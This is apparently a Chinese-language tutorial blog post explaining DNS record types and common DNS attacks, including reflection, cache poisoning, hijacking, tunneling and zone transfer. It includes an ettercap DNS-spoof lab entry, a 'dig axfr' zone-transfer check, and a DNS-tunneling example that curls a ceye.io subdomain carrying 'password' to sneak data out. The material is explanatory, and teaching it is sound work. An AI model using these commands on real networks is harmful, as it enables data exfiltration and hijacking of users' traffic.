DNS 协议 & DNS 常见攻击

DNS(Domain Name System)域名系统作为互联网上最为重要的基础服务,由于其依赖的协议本身,同时也是最为脆弱的一环。常见对于DNS服务的攻击有:

  1. DDoS
  2. DNS缓存投毒
  3. 中间人劫持

由DNS协议缺乏必要的认证机制,客户无法确认接收到的信息的真实性和权威性,基于名字的认证过程并不能起到真正的识别作用,而且接收到的应答报文中往往含有额外的附加信息,其正确性也无法判断。此外,DNS 的绝大部分通信使用 UDP,数据报文容易丢失,也易于受到劫持和欺骗。

DNS协议

DNS 标准查询内容抓包如下,可以看到还是比较简单的,对于DNS的字段总结如下:

  • A记录 实现 domain name => IP addr

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    nslookup -querytype=a hellohxk.com
    Server: 202.117.112.3
    Address: 202.117.112.3#53
    Non-authoritative answer:
    Name: hellohxk.com
    Address: 103.72.145.7
    Non-authoritative answer: 它的出现代表这个结果是从服务器的缓存中得到的,这不是一个授权的答案。

    如果同一个域名指向多个A记录 每次返回的数据包含了两个IP地址,但是在返回的过程中数据排列的顺序每次都不相同。
    由于大部分的客户端只选择第一条记录所以通过这种方式可以实现一定程度的负载均衡。

  • MX记录 实现 Mail服务

    1
    2
    3
    4
    5
    6
    7
    8
    nslookup -querytype=mx hellohxk.com
    Server: 202.117.112.3
    Address: 202.117.112.3#53
    Non-authoritative answer:
    hellohxk.com mail exchanger = 10 mxw.mxhichina.com.
    hellohxk.com mail exchanger = 5 mxn.mxhichina.com.

    即在给mail@xx.com发邮件时,会去进行域名解析,查找MX记录
    先找权重数最小的服务器(比如说是 10),如果能连通,那么就将服务器发送过去;如果无法连通 mx记录为10 的服务器,那么才将邮件发送到权重为20的 mail 服务器上。
    权重20的服务器在配置上只是暂时缓存mail ,当权重20的服务器能连通权重为10的服务器时,仍会将邮件发送的权重为10的 Mail 服务器上。当然,这个机制需要在 Mail 服务器上配置。

  • CNAME记录 实现 域名别称的作用

    1
    2
    3
    4
    5
    6
    nslookup -querytype=cname www.meishichina.com
    Server: 202.117.112.3
    Address: 202.117.112.3#53
    Non-authoritative answer:
    www.meishichina.com canonical name = www.meishichina.com.w.kunlunar.com.

    当我们要指向很多的域名到一台电脑上的时候,用CNAME比较方便,这样查出来的不一定是真正的信息,比如baidu查出来就是a.shifen.com是baidu的安全外壳。

  • TXT记录 实现 某条记录设置说明

    1
    nslookup -qt=txt example.com

    如果设置了内容,就会看到结果

  • AAAA 记录 指向 IPv6地址
  • NS记录 指向 用哪台DNS服务器进行解析
  • TTL值 表示 解析记录在DNS服务器中的缓存时间, 利用这个值可以实现DNS rebinding,具体利用可以参考这里

常见DNS攻击&利用

DNS DDoS

  1. DNS FLood

    向目标DNS服务器发送大量DNS查询请求,导致网络带宽耗尽而无法传送正常DNS查询请求

  2. 针对授权域服务器DRDoS

    发送大量非法域名查询报文引起DNS服务器持续进行迭代查询,从而达到较少的攻击流量消耗大量服务器资源的目的

  3. DNS 反射

    由于DNS查询基于UDP协议,而UDP查询返回的内容是查询内容大小的10倍以上,所以构成了反射的条件,伪造DNS查询的ip地址,而由于一般主机不会过滤来自53端口发送的数据包,从而造成DNS反射攻击

DNS缓存污染

首先介绍下常见系统/软件查看DNS缓存的方法:

1
2
3
4
5
6
7
8
[windows]
ipconfig /displaydns
[chrome]
chrome://net-internals/#dns
[linux]
如果启用了nscd或者BIND才会有缓存
[MAC]
mDNSResponder

DNS 缓存污染指的是从权威域名服务器返回的 IP 地址在传递给最终用户的过程中被篡改了。由于查询结果要返回给最终用户需要经过很多系统,有很多地方都是可以篡改结果内容的,例如一台在你 ISP 范围内被动了手脚的路由器,一个通道中透明的 DNS 服务器,甚至可能是最终用户电脑上的病毒或木马

最常见的长城防火墙中就使用了DNS 缓存污染,所有试图访问某些域名的DNS请求,一旦被发现,会伪造成DNS服务器向用户返回无效IP地址。

DNS劫持

攻击者监听DNS会话,猜测DNS服务器响应ID,抢先将虚假的响应提交给客户端

DNS重定向

将DNS名称查询重定向到恶意DNS服务器,可以从以下的例子中看出

# ettercap DNS spoof

可以使用ettercap进行简单的DNS欺骗实验,在kali 上开一个简单的web服务器,然后修改etc/ettercap/etter.dns文件,添加以下内容:

1
www.qwer.com A 192.168.1.100

选择一个不常用域名的原因是网卡的问题,网关的限制,还有DNS缓存等多种因素,劫持是并不一定可以生效,所以选择一个比较偏僻的域名,这样可以排除缓存干扰。
DNS Spoof
在选择的插件中,开启DNS Spoof,在测试机中访问www.qwer.com,发现如下:
DNS Hijack
发现成功访问了搭建的web服务器,说明劫持成功

DNS隧道(DNS Tunneling)

即利用DNS协议请求时,在请求报文上附带所传递的信息,最简单的我去对payload.xxx.com进行DNS解析,这时我的xxx.com的DNS解析服务器就能够收到一条Query,从而提取出payload内容。以ceye.io为例:

1
curl password.4iew70.ceye.io

假设curl包被防火墙过滤了,但DNS请求没有被过滤,我们的服务器上就会收到DNS Standard Query,如下:

DNS Query

DNS系统漏洞

BIND(Berkeley Internet Name Domain)是最常用的DNS服务软件,具有广泛的使用基础,Internet上的绝大多数DNS服务器都是基于这个软件的。BIND提供高效服务的同时也存在着众多的安全性漏洞。,CNCERT/CC在2009年安全报告中指出:2009年7月底被披露的”Bind9″高危漏洞,影响波及全球数万台域名解析服务器,我国有数千台政府和重要信息系统部门、基础电信运营企业以及域名注册管理和服务机构的域名解析服务器受到影响。

DNS信息泄露

DNS Zone TransferDNS域传送漏洞可以造成大量DNS子域名遭到泄露

DNS域传送,其利用的是DNS服务器的冗余设计造成的缺陷,即备用服务器使用来自主服务器的数据刷新自己的域数据库,防止服务器故障时无法提供解析服务。
一般来说,DNS区域传送操作只在网络里真的有备用域名DNS服务器时才有必要用到,但许多DNS服务器却被错误地配置成只要有client发出请求,就会向对方提供一个zone数据库的详细信息,所以说允许不受信任的因特网用户执行DNS区域传送.

例如使用以下命令可以检测是否存在DNS域传送漏洞:

1
dig @ns4.isp.com example.com axfr